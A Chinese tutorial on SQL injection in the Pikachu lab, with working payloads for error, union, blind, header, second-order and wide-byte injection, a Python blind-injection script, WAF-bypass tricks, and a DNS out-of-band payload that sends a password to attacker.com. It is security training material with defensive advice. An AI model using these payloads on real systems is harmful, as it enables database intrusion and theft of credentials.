1. SQL注入靶场实践概述
SQL注入作为Web安全领域的经典漏洞类型,至今仍是渗透测试中最常见的攻击手段之一。我在安全服务项目中遇到的真实案例里,约65%的Web应用都存在不同程度的SQL注入风险。靶场环境作为安全学习的"沙盒",能让我们在合法合规的前提下,系统掌握各类SQL注入的手法和防御策略。
Pikachu靶场因其漏洞场景全面、难度梯度合理,成为众多安全从业者首选的实验平台。这个开源项目模拟了电商、社交、论坛等常见业务场景,内置了从基础到进阶的12种SQL注入变体。与其他靶场相比,它的独特价值在于:
- 每种漏洞类型都有独立的前端交互界面
- 提供详细的漏洞原理说明文档
- 支持GET/POST/Header等不同注入点测试
- 包含错误回显、盲注等差异化场景
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. SQL注入核心分类解析
2.1 基于数据回显的分类实践
报错型注入在Pikachu的"Error-Based"模块中有典型实现。当执行以下测试payload时:
sql复制' and updatexml(1,concat(0x7e,(select user())),0) --+
系统会返回包含数据库用户名的XML解析错误。这种注入的关键在于:
- 利用extractvalue/updatexml等XML处理函数
- 通过concat拼接查询结果与非法字符
- 从错误信息中提取敏感数据
我在实际测试中发现MySQL 5.7+版本对报错信息长度有限制,超过32个字符会被截断。解决方法是用substr分段获取:
sql复制' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,30)),0) --+
联合查询注入在"Union Select"模块需要分五步操作:
- 用
' order by 4--+确定列数 - 找到回显位:
' union select 1,2,3,4--+ - 获取数据库信息:
' union select 1,database(),user(),version()--+ - 枚举表名:
' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+ - 提取字段内容:
' union select 1,username,password,4 from users--+
注意:MySQL的union查询要求前后列数一致,且数据类型兼容。遇到类型不匹配时可尝试用null代替。
2.2 无回显注入实战
布尔盲注在Pikachu的"Boolean-Based Blind"模块中,通过判断页面返回差异来推断数据。典型攻击流程:
- 判断注入点:
' and 1=1--+(正常) vs' and 1=2--+(异常) - 猜解数据库名长度:
sql复制' and length(database())=4--+
- 逐字符猜解内容:
sql复制' and substr(database(),1,1)='p'--+
我编写自动化脚本时发现,基于二分法的猜解效率最高。以下Python示例演示如何快速获取数据库名:
python复制import requests
url = "http://target/vul/sqli/blind_based_bool.php"
params = {"id": ""}
charset = "abcdefghijklmnopqrstuvwxyz_"
result = ""
for i in range(1, 20):
low, high = 0, len(charset)-1
while low <= high:
mid = (low + high) // 2
payload = f"' and ascii(substr(database(),{i},1))>{ord(charset[mid])}--+"
params["id"] = payload
r = requests.get(url, params=params)
if "用户ID存在" in r.text:
low = mid + 1
else:
high = mid - 1
result += charset[low]
print(f"Current result: {result}")
时间盲注在"Time-Based Blind"模块更为隐蔽,通过sleep函数判断:
sql复制' and if(ascii(substr(database(),1,1))>97,sleep(3),0)--+
实际渗透中要注意网络延迟的影响。我通常结合以下技巧提高准确性:
- 多次请求取平均响应时间
- 使用benchmark代替sleep绕过过滤
- 设置合理的阈值(如基准响应200ms,延迟超过1s视为成功)
3. 特殊场景注入技巧
3.1 Header注入实战
Pikachu的"Header Injection"模块模拟了User-Agent注入场景。使用Burp Suite抓包修改:
http复制GET /vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: target
User-Agent: ' and extractvalue(1,concat(0x7e,user()))--+
这类注入的检测要点:
- 检查所有HTTP头字段(Cookie/X-Forwarded-For等)
- 注意服务器可能对头字段进行大小写转换
- 优先使用报错注入快速验证
3.2 二次注入突破
"Secondary Injection"模块展示了存储型注入场景。攻击步骤:
- 注册用户时注入payload:
sql复制test' union select 1,user()-- '
- 系统将恶意用户名存入数据库
- 修改密码时触发SQL执行:
sql复制UPDATE users SET password='newpass' WHERE username='test' union select 1,user()-- ''
这种注入的防御难点在于:
- 输入时经过转义处理
- 数据存储时保持原样
- 后续使用环节未再过滤
3.3 宽字节注入绕过
当系统使用addslashes等函数转义单引号时,通过GBK等宽字符集绕过:
sql复制%df' and 1=1--+
原理是%df与转义产生的\(%5c)组合成合法汉字"運",使单引号逃逸。在Pikachu的"宽字节注入"模块可以实践这种技巧。
4. 防御方案与绕过艺术
4.1 参数化查询实践
使用预处理语句是根本解决方案。以PHP为例:
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$input]);
但我在代码审计中发现常见误区:
- 动态表名/列名无法参数化
- 部分ORM框架存在误用
- 存储过程内部可能拼接SQL
4.2 过滤机制的对抗
当遇到WAF时,我常用的绕过技术包括:
- 注释拆分:
SEL/**/ECT - 大小写混合:
sEleCt - 等价函数替换:
mid代替substr - 编码变形:
CHAR(115)+CHAR(101)+CHAR(108)表示"sel" - 缓冲区溢出:超长字符串触发WAF绕过
Pikachu的"WAF Bypass"模块专门训练这些技巧。
4.3 新型数据库注入差异
针对不同数据库的注入特点:
| 数据库 | 注释语法 | 字符串拼接 | 特有函数 |
|---|---|---|---|
| MySQL | -- 或 # | concat() | group_concat() |
| Oracle | -- | || | listagg() |
| SQL Server | -- | + | stuff() |
| PostgreSQL | -- | || | string_agg() |
5. 靶场环境搭建指南
5.1 Pikachu本地部署
推荐使用Docker快速搭建:
bash复制docker pull area39/pikachu
docker run -d -p 8080:80 area39/pikachu
常见问题处理:
- 数据库连接失败:检查config.inc.php中的DB配置
- 页面乱码:确保容器和宿主机都配置UTF-8
- 功能异常:清理浏览器缓存或使用隐私模式
5.2 其他靶场对比
| 靶场名称 | 特点 | 适合人群 |
|---|---|---|
| DVWA | 难度可调,基础全面 | 初学者 |
| SQLi-Labs | 专注SQL注入,分类细致 | 专项提升 |
| WebGoat | 教学导向,分步骤指导 | 教育场景 |
| Vulnhub | 完整虚拟机环境,接近真实 | 综合渗透测试 |
6. 企业级防护建议
在金融行业渗透测试中,我总结的有效防护策略包括:
- 最小权限原则:数据库账户仅赋予必要权限
- 分层防御:
- 前端输入校验
- 中间层参数化查询
- 数据库审计日志
- 定期扫描:使用sqlmap等工具自动化检测
- 应急响应:建立SQL注入攻击的特征库
某次攻防演练中的典型案例:
- 发现目标系统过滤了空格和常用关键词
- 使用
/**/代替空格,sel%0bect绕过过滤 - 最终通过DNS外带数据获取敏感信息:
sql复制' and load_file(concat('\\\\',(select password from users limit 1),'.attacker.com\\share'))--+
